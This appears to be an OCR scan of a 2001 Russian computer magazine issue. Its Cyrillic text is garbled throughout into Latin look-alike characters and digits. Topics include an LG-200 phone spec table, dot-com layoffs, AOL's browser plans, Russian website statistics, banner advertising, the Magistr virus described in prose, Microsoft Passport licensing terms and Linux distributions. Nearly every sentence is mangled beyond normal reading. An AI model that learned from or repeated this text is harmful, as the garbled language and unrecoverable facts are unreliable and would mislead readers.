K oahom jimhmm mo>kho 6yAeT noAK/no- 
HMTb HeCKO/lbKO Te/ieBM30p0B M BMAeO- 
MarHmocfDOH. LLIi/ipoKO pacnpodpaHeH- 
Han TexHO/iorMfl nepeAanM AaHHbix b 
HacTomuee BpeM/i npeAno/iaraeT Ha/iM- 
4ne Ka6e^bHbix ceieu. Tax hto HOBan 
TexHO/iorMn MoweT C03AaTb cepbe3Hyio 
KOHKypeHAMIO TpaAMUMOHHOM. 


LG 

He TOJlbKO XOJlOAMSlbHMKII 
14 MMKpOBOJlHOBKM... 


CeroAHn KopnopauMn LG Electronics Inc., noMMMO Bbinycxa 
6blTOBOM TeXHMKM, flB/lfleTCfl npOM3BOAMTe/ieM lUMpOKOrO 
cneKTpa nepMcf/epMMHbix m KOMn/ieKTyioLAMx ycrpoMCTB Rj\n 
n K H M06n/lbH0M CBJ13M. l"IOCKOJlbKy pa3BMTMe COBpeMeHHOM 
IT-MHAycTpMM, KaK M3BecTH0, bo mhotom onpeAe/meToi c/ima- 
HI/ieM Te/ieKOMMyHMKaUMOHHblX H MHCfDOpMaUMOHHblX 
TexHO/iorMM, b ceHm6pe 2000 roAa npoM30iu.no o6i>eAMHeHMe 
KOMnaHMM LG Electronics m LG Information & Communication. 
B pe3yjibraTe cra/io B03M0>KHbiM co3A3HMe 6ecnpoBOAHbix 
900 MIa Te/iecJiOHOB n annapaTOB noKO/ieHMn DECT ot LG, 
BHeApeHMe A^poBbix ATC, ycnewHan pa6oTa KOMnaHMM Ha 
pbiHKe CDMA, a T3K>Ke npoM3BOACTBO nepeAaio- 
lAero o6opyAOBaHMn moGm/ibhom Te/iecfiOHMM. 

Mcno/ib3yn npeAbiAyiAHM onbiT pa6oTbi co 
CTaHAapTOM CDMA, KOMnaHMn Bbi- 
XOAMT M Ha pbIHOK CTaHAapTa GSM 
c MOAe/ibio LG-200. Hto >Ke Mbi 
MMeeM? Te/iecfioH MMeeT coBpe- 
MeHHblM AH33MH M MCnO/lHfleTCfl B 
HecKO/ibKMx ABeTax. Bee Te/iecfDO- 
Ha Bcero 80 rpaMMOB. BHywaeT 
OnTMMM3M KO/lMHeCTBO (JjyHKAMM, 

xota m CTaHAapTHbix. Ho BpeMn 
paOoTbi 6e3 noA3apnAKM abho He 
pexopAHoe. B o6iueM, 6yAeM 
>KA3Tb, KorAa Te^ecfjOH nonaAeT b 
H dLUM pyKM, TOTAa Bee M npOnCHMT- 
cn, a noxa CMOTpMTe cyxne TexHM- 
necKMe xapaKTepMCTMKM. 



XapaKTepHCTHKH Mo6M/ibHoro Te/iecpoHa LG-200 

Pa6oHaa nacTOTa 

GSM 900/1800 

Bee 

80 r 

CTaHAapTHaa 6aTapea 

Li-ion 600 mAh 

Pa3Mep 

106x44,7x19,7 

Pa6oTa 6aTapen b pe>nmvie pa3roBopa 

3 naca 

Pa6oTa 6aTapen b pe>nmvie o>KMAaHMJi 

120 nacoB 

Pa3Mep >k/k Ancn/iea 

128x64 

Tun >k/k AMcn/ieq 

Monochrome 

BM6p0Bbl30B 

ECTb 

ro^ocoBoii Ha6op 

Onunn 

KO/l-BO Me/IOAMM 

32 

3anMCHaji KHM>KKa 

40 HOMepoB 

rioc/ieAHMe 3 bohki 4 Ha6paHHbie/nonyHeHHbie 

10/10 HOMepoB 

Ka^bKy/iBTop 

ECTb 

Ka/ieHflapb 

ECTb 

EyAM/lbHMK 

ECTb 

Hacbi 

ECTb 

Mrpw 

7 Mrp 

ripweM SMS 

ECTb 

Data & Fax 

Onunn 

nepeaApecauMB Bbi30Ba 

ECTb 

yAepxoHne Bbi30Ba 

ECTb 

0>KI4AaHI4e Bbl30Ba 

ECTb 

KOHC()epeHU-CBB3b 

ECTb 

GPRS 

HeT 

WAP 

HeT 

flHKTOCpOH 

HeT 

OpraHai43ep 

HeT 

CPHS 

HeT 

rpacpunecKne coo6meHMJi 

HeT 

CMeHHbm Kopnyc 

HeT 

BcTpoeHHan am-eHHa 

HeT 


KpM3Mc IlHTepHeTa 

npo6^eMbi 

MHTepHeT-KOMnaHMM 

npoAOii>KaiOTCB 

HecMOTpn Ha to, hto crpacTM noc^e 
pe3Koro naAeHMA NASDAQ m 3KCTpeH- 
Hbix yBO/ibHeHMM copyAHMKOB dot-com 
b CLUA y/ier/iMCb, ottok AeHer M3 mh- 
TepHeT-KOMnaHMM npoAO^>KaeTcn Aa>Ke 
6o/ibiiiMMM TeMnaMM, neM cpa3y noc^e 
o6Ba^a. B anpe/ie M3 6o^ee neM Tpex 
coTeH aMepMKaHCKMx KOMnaHMM 6bmo 
yBo^eHo b o6iueM c^o>khoctm oko^o 
17 TbicflH ne/iOBeK. CBoeo6pa3Hbm pe- 
kopa flHBapn cocTaB/m/i Bcero 12 Tbi- 
CflH He/lOBeK, TaK HTO rOBOpMTb o CTa- 
6M^M3auMM no^o>KeHMn Ha pbiHKe 

«HOBOM 3KOHOMMKM» He npMXOAMTCn. 

Bcero we c Hana/ia odBa^a yBO/ieHo 
6o^ee 50 Tbicnn coTpyAHMKOB. 
0co6eHHO MHTeHCMBHO npoiuaiOTcn co 
CBOMMM COTpyAHMKaMM TMOpMAHbie 
KOMnaHMM, KOTopbie coBMeiuaiOT Tpa- 
AMAMOHHyiO SKOHOMMKy C MHTepHeT- 
TexHO/iorMAMM. Ho caMbiM nena^bHbiM 
(jDaKTOM AB/meTCfl TO, HTO T3KMe KOMna- 
HMM noc/ie nepBOM HeyAaHM eiue ao/ito 
He 6yAyT nbiTaTbcn noBTopMTb cbom 
onbiT, TaK KaK noc/ie B/ioweHMn orpoM- 
HblX MHBeCTMAMM B CBOM npoeKTbl 
CTO/lKHy/lMCb C npo6/ieMOM MX B03Bpa- 
Ta. B poccmmckom MHTepHeTe CMTyauMn 
6o/iee CTa6M/ibHan, ho TO/ibKO 3a cneT 
KOHCepBaTMBHOCTM 6o/lblUMHCTBa KOM- 
naHMM. C OAHOM CTOpOHbl, 3TO n03BO- 
/i M/i o M36ewaTb KpynHbix noTepb, c 
Apyroii — pa3BMTMe PyHeTa m TaK He 
6bl/10 A0CT3T0HH0 3KTMBHblM, Tenepb 
we AOLUJIO AO Toro, HTO COTpyAHMKM, 
KOTopbie He ycne/iM yiiTM M3 MHTepHeT- 
KOMnaHMM ao cepeAMHbi MapTa, CTa/i- 
KMBaiOTCn CO C/IOWHOCT/IMM npM nOMCKe 
hobom padoTbi. Bo/iHa yBO/ibHeHMM 3a- 
TpoHy/ia Aa>*<e TaKMe KOMnaHMM, KaK 
PaM6/iep (yBO/ieHbi MeHeAwepbi no 
peK/iaMe), MeMOHeT (noKa yBO/ieHHbix 
HeT, ho 3aKpbiBaeTcn 6o/ibiuoe hmc/io 
npoeKTOB m MAyT cepbe3Hbie «nepeTpnc- 
km»), Port.ru , nPOMO.Py. Bo/ibuiMHCTBO 
yBO/ibHneMbix — MeHeAwepbi cpeAHero 
ypoBHn. Bo/iee-MeHee cnoKOMHbiMM 3a 
cbok) cyAbdy MoryT ocraBaTbcn TO/ibKO 
nporpaMMMCTbi (caMoe KpynHoe yBO/ib- 
HeHMe — 5 ne/iOBeK M3 nOPT.Py) m ah- 
3aMHepbi, KOTopbie padoTaiOT b KpynHbix 
KOMnaHMnx. 

0co6bie TpyAHOCTM McnbiTbiBaiOT am- 
33MHepcKMe CTyAMM m peK/iaMHbie 
areHTCTBa. 
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AOL pa3pa6aTbiBaeT co6cTBeHHbm 6poy3ep 

BoiiHa 6poy3epoB II 

B03M0>KH0 nOBTOpeHMe >KeCTOKOrO npOTMBOCTOJIHMfl 
Internet Explorer m Netscape, ho Tenepb y>Ke MewAy 
Microsoft h America Online. B CBoe BpeMfl AOL npaK- 
TMHeCKM nOCTaBM^a TOHKy B «BOMHe 6poy3epoB», 
noflflep>KaB Internet Explorer. Tenepb we cmyauMfl 
MeH^eic^ — caMbm KpynHbm npoBanflep caMOcrofl- 
Te/ibHo pa3pa6aibiBaeT co6dBeHHbm 6poy3ep. Pabo- 
nee Ha3BaHne — Komodo. ByAyiAMM 6poy3ep byAeT 
nopTMpoBaH Ha Bee nony/mpHbie n/iaicfjopMbi m one- 
pauMOHHbie CMdeMbi, hto, eciecTBeHHo, MoweT oneHb 
CM/ibHO «noflBMHyTb» no3Mi4MM IE, KOTopbm nopTMpo- 
BaH TO/ibKO p,nt\ PC m MAC n^aTcfjopM. 

America Online noc/ie OKOHHaHMji KOHTpaKTa npe- 
KpaTM/ia BCAHecKMe OTHoiueHMji c Microsoft, a ho- 
Bbm 6poy3ep normal ywe k KOHuy roAa. 


CraTMCTMKa caMbix nocemaeMbix pecypcoB PyHeia 

Hauiii npMCTpacTMa 

AHa/lMTMHeCKMM OTAG/IOM SpyLog, OAHOM M3 caMbix 
nony/mpHbix craTMCTMHecKMx CMcreM, 6bma ocyiAecr- 
B/ieHa TeMaTMHecKaji unaccMcfjMKauMfl 1000 KpynHeti- 
lumx pecypcoB PyHeia. Tax KaK, no AaHHbiM SpyLog, 
npMMepHO 80% Bcex ceccMM b PyHeie npMxoAMTCfl 
KaK pa3 Ha 3Ty Tbony, to Bno/iHe mowho roBopMTb o 
6 ^m 3 kom npMb/iMweHMM pe3ynbiaTOB k pea/ibHocm. 
llpMHeM yHMTblBa/lOCb He TO/lbKO KO/lMHeCTBO XMTOB, 
ho m nacTOTa o6paiAeHMji k pecypcaM. 

B pe3y/ibTaie no/iyHM/iacb Tab/iMAa: 


1 npo(|>M/ib pecypca 

KOMMyHMKaUMOHHbie CepBMCbl 

17,9% 

KaTa/iorM, pefiTMHrM, noMCKOBMKM 

15,8% 

CMM 

13,6% 

Eecn^aTHbie apxkiBbi m 6n6^noTeKM 

6,2% 

Pa3B^eKaTe^bHbie nopia^bi 

6,0% 

KoMnbtoiepbi 

5,0% 

E-commerce 

3,8% 

CaMTbl 3HaK0MCTB 

3,0% 

OpoTMKa 

3,0% 

C6opHMKM aHeKflOTOB 

2,7% 

npoBaMflepbi 

2,6% 

Hrpbi ki xanepbi 

2,3% 

Aom, ceMbH, 3flopoBbe, KpacoTa 

2,3% 

06meHkie 

2,1% 

Pa6oTa 

2,0% 

Ky^bTypa m atpmiJM 

1,7% 

CnpaBKM 

1,5% 

C6opHMKki petpepaTOB 

1,5% 

Abto-moto 

1,3% 

CnopT 

1,2% 

PerMOHa^bHbie nopia/ibi 

1,1% 

Ae/iOBan kiHcpopMaukin 

1,0% 

3apa6oTOK b CeTM 

0,7% 

TypM3M 

0,5% 

nponee 

2,2% 


B to we BpeMfl no pe3y/ibraTaM Mcc/ieAOBaHMM 
rpynnbi monitoring.ru mnbKO 11% WMTe/ieM Poc- 
CMM MMetOT AOMaiUHMM KOMnblOTep, a MOAeM MMeeT- 
Cf\ TO/ibKO y 3%. ■ ■ ■ 


PeK/iaiwia b Cein 

CMepTb 6aHHepoB 
nepe3 nony/iapHocrb 

Ywe Aaa roAa npeACKa3biBaeMaji CMepTb 
6aH HepHOM peK/iaMbi nocroaHHo OTK^a- 
AbiBaeTCA. HecMOTpji Ha to, hto CTR 
(npoueHT HawaTMM Ha 6aHHep no otho- 
LueHMio k ero noKa3aM) caMbix Aoporux 
«K/iaccMHecKMx» 6aH HepoB pa3MepoM 
468x60 nMKce/ieM yna/i HMwe 0,5%, bo- 
jiee 97% caMTOB npoAO/iwaiOT no/ib30- 
BaTbCJi 6aHHepHoii peK/iaMOM. OAHaKO, 
HecMOTpji Ha nony/mpHocrb, obteKTH b- 
ho npMAeTCfl npM3HaTb, hto baHHepHafl 
peK/iaMa cebfl M3WM/ia, — ec/iM 2 roAa 
Ha3aA npaKTMHecKM Bee KaieropMM 
no/ib30BaTe/ieM pearMpoBa/iM Ha Hee, to 
T enepb BbiAe/iM/iocb HecKO/ibKO rpynn 
n0/lb30BaTe/ieM, M3 KOTOpbIX TO/lbKO oa- 
Ha «OTKpbna» f\nn ceieBOM peoaMbi. 
ripuneM 3Ta rpynna cocTaB/meT Bcero 
jiMiub okojio 15% Bcex cepcjjepoB. Tax 
Ha3biBaeMbie «6bicipbie» no/ib30BaTe/iM 
bxoajit b CeTb paAM HOBOCTeii (nepBaji 
rpynna), xoaat Ha catiTbi c eweAHeBHO 
M/i m nepMOAMHecKM MeHjuoiAeMCJi mh- 
(fjopMauMeM (BTopaji rpynna) mjim no/ib- 
3yiOTCJi noHTOM, MecceHAwepaMM m 
C peACTBaMM 6blCTpOM CBJ13M (TpeTbfl 
rpynna). ObbiHHO no/ib30BaTe/iM M3 3 tom 
rpynnbi He mnbKO He obpaiAaiOT Ha peK- 
jiaMy BHMMaHMji, ho m yMe/io ee M36era- 
iot. HeKOTopbie cep^epbi «3acipeBaiOT» 
Ha MHoroHMc/ieHHbix pa3B^eKaTe/ibHbix 
cepBepax (neTBepTa/i rpynna) mjim ne- 
peKaHMBaiOT bo/ibiuMe obteMbi MHtfjop- 
MauMM (njiTafl rpynna) — stm no/ib30Ba- 
Te/iM peAKO, ho Bee we nocrojiHHO 
no/ib3yiOTCfl peK/iaMOM. M, HaKOHeu, 
eAMHCTBeHHafl KaieropM/i nojib30Baie- 
jiefi, MMKaioiAMx Ha baHHepbi, sto 
K/ iaccMHecKMe cep^epbi — jiioam, koto- 
pbie nocTOJiHHO MiAyT HOBbie caiiTbi m 
HOB yiO MH(})OpMaUMIO. OAHaKO MMeHHO 
3TM aKTMBHbie C TOHKM 3peHMfl peKJiaMbl 
nojib30BaTe/iM b bo/ibWMHCTBe cnynaeB 
He no/ib3yiOTCfl m HcJjopMaiiMeM, npeAO- 
CTaB/uieMOM peK/iaMOM . Cep^epbi He 
no^b3yiOTCJi m HT epHeT-Mara3M H3MM m^m 
OH/iaMH-yc/iyraMM. 

B MTore no^ynaeTCJi, hto OaHHepHaji 
peoaMa AGMCTByeT To^bKO Ha Tex, Ha 
koto OHa He HanpaB/ieHa. Eiue toa Ha- 
3aA c 3TMM CTa/lKMBa/lMCb Me/iKMe peK- 
^aMHbie areHTCTBa, M3-3a Hero ohm m 
npona/iM c pbiHKa, Tenepb h M 3Kaji 3 (}d- 
(J)eKTMBHOCTb peoaMbi rpo3MT m Kpyn- 
HblM KOMnaHMJIM. 


Pa6oTa 3a py6e>KOM 

PoccuMCKiie cneuiia/iiiCTbi 
Hy>KHbl, HO He Hy>KHbl 
repMaHMM 

no AaHHbiM BITKOM (Bundesverband Informations- 
wirtschaft, Telekommunikation und neue Medien e.V., 
Berlin), b TepMaHMM cbo6oaho oko^o 13% paboHMx 

MeCT, CBJ13aHHblX C 3KOHOMMKOM, Te/ieKOMMyHMKailMJl- 
MM M HOBbIMM CpeACTBaMM CBJ13M. HpM 3TOM npaKTMHe- 
ckm Bee c(d m p m bi MiAyT cneuMa/iMCTOB-MHOCTpaHueB. 
TaHHOBepcKaji BbiciaBKa CeBIT npeAOCTaBM^a Mecro 
A/iJi 6o^ee neM cothm peKpyTMHroBbix 4)MpM, KOTopbie 
cneuMa^M3MpoBa^MCb Ha npneMe Ha pa6oiy cneuMa- 
J1MCTOB M3 APyrMX CTpaH, B TOM HMCJie M3 POCCMM. B pe- 
3y/ibTaTe Bcero Ha paboiy bbmo npMHATO 127 ne/iOBeK, 
npM 3 tom b CTaTMCTMKe He bbmo yKa3aH0, kto mmchho 
bb m npMHjiT. Abco/iiOTHO Bee cJd m p m bi OTKa3a^MCb ot 
MOA e/iM yAa/ieHHOM paboTbi. CaMbiM pacnpocipaHeH- 
HbiM apryMeHTOM npM OTKa3e b paboie OKa3a^ocb 
MMeHHO to, neM bo/ibwe ropAJiTCJi poccMMCKMe cneuMa- 
jiMCTbi, — KpeaTMBHocrb. TepMaHCKMe paboTOAaie^M 
coBepiueHHo cnpaBeA/iMBO OTKa3biBaiOTCJi ot coipyA- 
HMHecTBa co cneuMa/iMcraMM, He B/iaAGioiAMMM cbo- 
boAHO aHr/iMMCKMM ji3biKOM. Bo/iee HeM B nOJIOBMHe 
0TK330B 3 to bb m ochobhom apryMeHT. 

HoBbiii Magistr 

MHKy6aunoHHbm nepwofl 
cociaB/iaeT Meoiu 

HoBbiii b m pyc, Ha3B3HHbiM Magistr, coneiaeT b cebe 
jierKOCTb pacnpocTpaHeHMji I love you m pa3pyuiM- 
Te/ibHOCTb HepHobbmji (CIH). Oh Mowei pacnpocrpa- 
HjiTbCJi Ha nepeHocHbix hocmtcjuix, no /lOKa/ibHOM ceTM 
M/iM nepe3 3/ieKTpoHHyio noHTy. Magistr c^owho ycT- 
poeH m TiAaie/ibHo 3aMeiaeT c^eAbi CBoeti AeJiTe^bHo- 
ctm, k npMMepy, paccbmaji cebji no nonie, BMpyc mc- 
no^b3yeT b KanecTBe mmch B/ioweHMM oaho m 3 
Ha3B3HMM cj3aM/10B C paCLUMpeHMeM .doc, HaMAeHHbIX 
Ha 3apaweHHOM KOMnbioTepe. Hepe3 Mecjiu noc^e 3a- 
paweHMji KOMnbiOTepoB noA Windows NT/2000 BMpyc 
yHMHTOwaei Bee cfjaM^bi Ha ^oxa^bHbix m ceieBbix amc- 
Kax, 3anMCbiBaji b hmx cfDpa3y «YOUARESHIT». 
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REVIEW 0630 p MMpoBoro p bi h k a 



floMCKM r/iaBHoro Bpara 


pofla HenoBenecKoro 

C 0 bl T M ft Ha (j 3 MH 3 HCOBblX p bl H k a x IT 


B npow/ioM o63ope (Chip 5/01) a AOBO/ibHO noflpo6HO ocraHaB/iMBa/icfl Ha tohhoctm ( mv\ HeTOHHOCTki) 
aHa/iMTMHecKMx nporH030B, KacaiomMxcji fla/ibHeMwero pa3BHTMfl IT. Tenepb MeHji HeMHoro MynaeT 
coBecTb, nocKO/ibKy aHa/imMHecKMe Kypbe3bi b kohchhom cneie 3flecb hm npw neM. fla>Ke Hao6opoT: 
6o/ibwyio m HeHy>KHyfo naHMKy name, neM aHa/iMTMKM, Bbi3biBaioT JKypHa/iMCTbi, KOTopbix no/imi/iKM 
He 3pa Ha3biBaiOT «BparaMM pofla He/iOBeHecKoro». 


B o/ibwoe HeflOBO^bCTBO cneuMa/iMCTOB m 06- 

IMeCTBeHHOCTM Bbl 3 Ba/ia MapTOBCKail B 0 / 1 H 3 
C006meHMM B CpeflCTBaX MaCCOBOPi MHCj/OpMaUMM 
ot aHTMBMpycHbix KOMnaHnn, HanaBLUMx, onepe- 
wa/i OflHa flpyryio, coo6iAaTb, hto o6Hapy>KeHbi 
nepBbie BMpycbi Ha n/iaTc|DopMe PalmOS, m HeMefl- 
JieHHO npefl^O>KMBlUMX K HMM 3 HTM BMpyCH bie MHCT- 
pyMeHTbi. A noTOM cra/io M 3 BecTHO, hto ynoMAHy- 
Tbie BMpycbi nOUBM/lMCb, C06CTBeHH0, /IMLUb 
b /ia6opaTopHOM cpefle, a He y o6biHHbix no/ib 30 - 
BaTe/iePi (m, yHMTbiBau cymecTBOBaHMe ynoMUHy- 
Tbix aHTMBMpycoB, HaBepHoe, k hmm He nonaflyT). 
C/ieAOBaTe/ibHO, 3tm coo6iAeHMu noc/iy>KM/iM 
noBOflOM /iMLUb p,nn ny6/iMHHoPi npe3eHTauMM ot- 
Ae/lbHblX aHTMBMpyCHbIX cJ/MpM, M Hao6opOT, — 


Mor/iM npeflynpeflMTb B 03 M 0 >KHbix co 3 flaTe/iePi bm- 
pyca, hto aTaKOBaTb mo>kho m KapMaHHbie Ka/ibKy- 

UUTOpbl. 

AHTMBMpycHbie nporpaMMbi, pa 3 yMeeTC/i, oneHb 
no/ie 3 Hbi m Hy>KHbi. Ho u 6bi c yflOBO/ibCTBMeM yBM- 
Ae/i KaKyio-HM6yAb «aHTMnMapoBCKyio» (antiPR) 
nporpaMMy. Bbi 0 TaxoPi c/iynaMHO He c/ibiwa/iM? 

HeMHoro 6/iaroTBopme/ibHOCTM 

rioMCK «BparoB pofla He/iOBeHecKoro» npMBe/i Hac 
OT >KypHa/lMCTOB K CBU3UM C 06 lAeCTBeH HOCTblO. 

Ho m 3flecb, bo3mo>kho, Mbi B3U/1M He tot c/iefl. riy6- 
/lMHHOCTb MHorfla c/iy>KMT Bno/iHe 6oroyroflHoPi Lje/iM, 
M C 3TOM TOHKM 3peHMfl He/lb3fl He noAAepwaTb npo- 
eKT Intel Philantropic Peer-to-Peer Program, b neM- 


to noflo6HbiPi nony/mpHoPi nporpaMMe SETI@Home, 

B paMKaX KOTOpOPi MM/l/l MOHbl KOMnblOTepOB BO BCeM 
MMpe Mcxa/iM MHon/iaHeTUH. Ha stot pa3 opraHM3a- 
TOpbl npM3blBaiOT Hac n03B0/lMTb CBOMM KOMnblOTe- 
paM bo BpeMu npocTou MOfle/iMpoBaTb peaKUMM mo- 
zieKy/mpHbix CTpyKTyp Ha pa3/iMHHbie MMny/ibCbi. 

LJe/ib — h3mtm ziexapcTBO OT/ieMKeMMM, a b nep- 
cneKTMBe m ot ApyrMx bmaob paxa. ABTOMaTMHecKM 
nouB/meTCfl noA03peHMe, hto Intel cnoHcopcTBOM 
AaHHoro npoeKTa (ocHOBHbie opraHM3aTopbi — Okc- 
CjaopACKMM yHMBepCMTeT M aMepMKaHCKMM HaUMO- 
Ha/ibHbm cJdoha MCC/ieAOBaHMM paxa) npec/ieAyeT 
co6cTBeHHbie MHTepecbi. HanoMHio, OAHaKO, hto cbi h 
m BHyK mecfia Intel Kpsra BapeTTa CTpaAaiOT ot pa- 
Ka, Tax hto CTMMy/ibi b a3hhom c/iynae He o6u3aTe/ib- » 
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Red Hat (78 %) 



» ho hmcto KOMMepnecKoro xapaKTepa. B KOHue koh- 
140 b, Bcerfla /lynwe MCKaTb zieKapcTBO ot paxa (eme 
OflHoro noTeHUMa-nbHoro maBHoro Bpara pofla ne/io- 
BenecKoro), neM c/ieAMTb 3a zieiaiomi/iMM Tape/iKaMM. 
fla/ieKne ot cjDM/iaHTponMM npnnnHbi MHe CKopee bm- 
A8TC8 b fle^Te/ibHOCTM cfinpMbi United Devices, o6ec- 
neHMBaioiMeM ziorMCTMKy Bcero npoeKTa; nycTb OHa 
3 to fle^naeT 6ecn/iaTHO, 3 aio abho no/iyHMT oneHb 
AeHHbie Hoy-xay b 06 /iacm TexHo/iornn peer-to- 
peer. 

M CHoea Microsoft... 

Pa 3 yMeeTC 8 , ec/in y>K MCKaTb maBHoro Bpara po- 
Aa ne/iOBenecKoro, He/ib 38 3a6biBaTb 0 Microsoft, 
KOTopyio CHMTaiOT r/iaBHbiM BparoM MHorMe no/ib- 
30 BaTe/in. Mewfly npoHMM, y Microsoft b Mnpe ce- 
roflHfl coBepiueHHO yHMKa/ibHoe no/ioweHne — 
OHa ncno/ib3yeT PR-c|DMpMbi He p,nn toto, HTo6bi 
coo6iAaTb 0 ce6e m npy, a p,nn Torn, HTo6bi «npn- 
r^a>KMBaTb» (mjim ypaBHOBeui n BaTb) MHcjDopMa- 
14MK). 0 Microsoft nwcaTb npMxoAMTCfl, xotmm Mbi 
3 Toro 1/1/1 M HeT. 

HecKO/ibKO yAMBM/io, hto HMHero HOBoro He c/iy- 
HM/iocb b n/iaHe aHTMMOHono/ibHoro npouecca. 

Ho CHOBa Ha cueHy Bbnu/in xaKepbi, yKpaBWMe y 
Verisign cepTMc|DMKaTbi, npMHaA/iewaiAMe Microsoft. 
Ta HeMeA-neHHO npn3Ba/ia OBP (b noc/ieAHee BpeMA 
3 TO CTaHOBMTCfl npaBMJlOM). TaK HTO, B CyiAHOCTM, 
on^Tb HMHero hoboto. BMHOBHbm HeM 3 BecTeH, 
yiAep6 MMHMMa/ieH, macHocTb Be/iMKa. 

riOKa Te/ie 3 pMTe/lM CMOTpe/lM STM hoboctm, co- 
o6iAecTBO on-Line >kmjio Koe-neM mhwm: Bm jiji TeMTC 
b KOHL^e MapTa BbicrynM/i c MHMUMaTMBOM Hai- 
lstorm, c^eAyioiAen nacrbio CBoero npoeKTa .NET. 
HecMOTpa Ha to, hto caM npMHLjMn .NET npeACTaB- 
nne t co6om cfiaKTMHecKoe npM 3 H 3 Hne npM 3 paKa 
«the network is the computers KOTopoMy noKpo- 


BMTe/ibCTBOBa/iM HecKO/ibKO /ieT Ha 3 aA TorAaiuHMe 
m ceroAHAWHne KOHKypeHTbi Microsoft, to ecTb 
KOMnaHMM Sun m Oracle (Emjui TeMTC TorAa npoB 03 - 
r/iawa/i, hto ot CBoero Hacro/ibHoro KOMnbiOTepa 
hmkto no Ao6poM BO/ie He 0TKa>KeTC8). 51 AO/i>KeH 
CKa 3 aTb, hto He 3 Haio, Hero, co6cTBeHHo, >KAaTb ot 
npoeKTa .NET. Ho HaMHoro 6o/ibwe pa3roBopoB 
Bbl 3 B 3 /lM yCJlOBMfl /lMI 4 eH 3 MpOBaHMfl, OTHOOUAMeCfl 

k c/iy>K6e PassPort. 

HTo6bi 6bmo noH^THo: PassPort, co6ctb6hho, 
npeACTaB^^eT co6om HeKyio CMcreMy «single 
sign-on» p,nn Mcno/ib 30 BaHMa c/iy>K6 ceTM KOMna- 
HMM Microsoft. Bbi no3BO/ifleTe npoBaMAepy coxpa- 
Hf\jb BaniM CBeAeHM^ Ha CBoeM cepBepe, a b Harpa- 
Ay hm oamh M 3 cepBepoB, ynacTByioiAMx b c/iy>K6e 
PassPort, He 6yAeT Bac «npoBep8Tb», nocKO/ibKy 
Hy>KHyio MHcf)opMa4MK) no/iyHMT b ApyroM MecTe. 

3to 8bho oneHb no/ie3Hafl c/iy>K6a, TeM He Me- 
Hee cooTBeTCTByioiAMe yc/iOBMA jiMAeH3MpoBaHMfl 
MoryT B036yAMTb cepbe3Hbie onaceHMa. HeKOTopbie 
MHcjDopMauMOHHbie cepBepbi b KOHL^e MapTa / 
Hana/ie anpe/ifl ony6/iMKOBa/iM BbiAep>KKM M3 /im- 
AeH3MOHHoro AoroBopa, KacaioiAerocfl 3 tom c/iy>K- 
6bi, m CHana/ia noKa3a/iocb, hto 3to nepBoanpe/ib- 
CKaa myTKa. Ec/im Bbi comacMTecb Ha 3 tm yc/iOBMA, 
to Bbi, noMMMO nponero, o6fl3yeTecb «npeAOCTa- 
BMTb KOMnaHMM Microsoft m ee cecrpMHCKMM kom- 
naHMiiM pa3peiueHMe Ha c/ieAyiOLAyio AeflTe/ib- 
HOCTb: 1. Mcno/ib30BaTb, McnpaB/iflTb, KonMpoBaTb, 
pacnpocTpaH^Tb, nepeAaBaTb, BbiCTaB/iflTb m Mcno/i- 
H^Tb Ha ny6/iMKe, penpoAyUMpoBaTb, ny6/iMKOBaTb, 
cy6^MLteH3MpoBaTb, nepeAaBaTb mjim npoAaBaTb 
/1 io6bie noAo6Hbie KOMMyHMKaAMM m co3AaBaTb 
npoM3BOAHbie ot hmx M3Ae/iMfl; 2. cy6/iMLteH3Mpo- 
BaTb TpeTbeM CTopoHe HeorpaHMneHHbie npaBa f\ns\ 
ocyiAecTB/ieHM^i ^io6bix npeAbiAyiAux npaB, AaHHbix 
no OTHOLLieH M K) K 3TMM KOMMyHMKai4M5IM; 3. uy6nv\- 


< B 3 tom cpaBHeHHM 4>MrypwpyioT OT/xenb- 
Hbie flncTpn 6 y™Bbi Linux b cooieeTCT- 
BMM C OTBeTaMM Ha aHKeTy MH4)Op!VSaHM- 
OHHoro cepeepa Linux.org. Bonpoc 3 By- 

nan Tan: KaKHM flHCTpn0yTHBO!vi Bbi 6bi 
Bocnonb30Banncb fl/iB MHCTannqumi 
www-cepeepa unvi MHiepHeT-cepeepa 
npii/io>KeHMM? To ecTb penb MfleT 
O 4 >yHKUHOHa/lbHO orpaHMHeHHOM hc- 
no/ibsoBaHMH Linux. TeM He MeHee 
HMeHHO o6nacTb cepBepoB HTTP m cep- 
BepoB npnno>KeHHH noxa xapaKTepna 
fl/iB Linux, Tax hto cpaBHeHne penpe- 
3eHTaTHBHO. 

HxcnoBbie flaHHbie o6o3HaHax>T noieH- 
UHanbHyx) MHoroHHcneHHOCTb OTBeTOB. 
PecnoHAeHTbi momm o6o3HaHHTb flea 
h 60 /iee AMCTpn 6 yTHBa - eme m no 3 toh 
npiiHHHe cyMMa iptJjpoBbix a^hhux 
npoBbiiiiaoT 200. 


K 0 B 3 Tb Baiue MM 5 I B CB 5 I 3 M C ^K)60M TaKOM KOMMy- 

HMKaAMeM. . .» 

Yb bi, anpe^b 6 bm hm npn neM. BHeiuHe yc^OBM^i 
/lMI4eH3MpOBaHMil, OHeBMAHO, M3MeH51TC8, HO PR- 
npeACTaBMTe/ibCTBa Microsoft bo BceM MMpe eiAe 
nopa 6 oTaeT. 

... h Linux 

I/I y Microsoft ecTb cbom Bparn; caMbie r^aBHbie M 3 
KOTopbix, no-BMAMMOMy, nnpaTbi cocjDTBepa m 
L inux, n MpaTOB noKa oct 3 bmm b noKoe m nor/ia- 
AMM Ha Linux. 

B onaceHMflx Microsoft HeT HMHero yAMBMTe/ib- 
Horo. Red Haty>Ke Ha nopore npM 6 bi/ibH 0 CTM (cm. 
cfiMHaHcoBbie pe 3 y^bTaTbi), HeMeuxa^ cjDMpMa SuSE 
Ha CeBIT coo 6 iAM^a, hto nepecKOHMT Ha «nepHbie» 
AMcjDpbi b TeneHMe roAa, m y ocra/ibHbix cJdmpm Linux, 
yHMTblB38 CT3AMI0 MX p33BMTMfl, Ae/ia Hen^OXM. 

Me>KAy npoHMM, KOMnaHMM Caldera 33 K 0 HHM/ia no- 
moiAeHMe 6 o^biueM nacTM cj/MpMbi SCO m Tenepb Bbi- 
CTynaeT noA MMeHeM Caldera International (KaK 
bmaho, pj\n C03AaHM5i Me>KAyHapoAHOM KOMnaHMM 
«no-aMepMK 3 HCKM» A0CT3T0HH0, ec^M cjDMpMa M3 Ka- 
JlMC|DOpHMM C0^beTC8 C CjDMpMOM M3 \Ojb\). 

1/lHTepecHO 6 yAeT nocMOTpeTb, noMAeT /im 
L inux nyTeM, KaKMM KorAa-TO nowe/i Unix, — no 
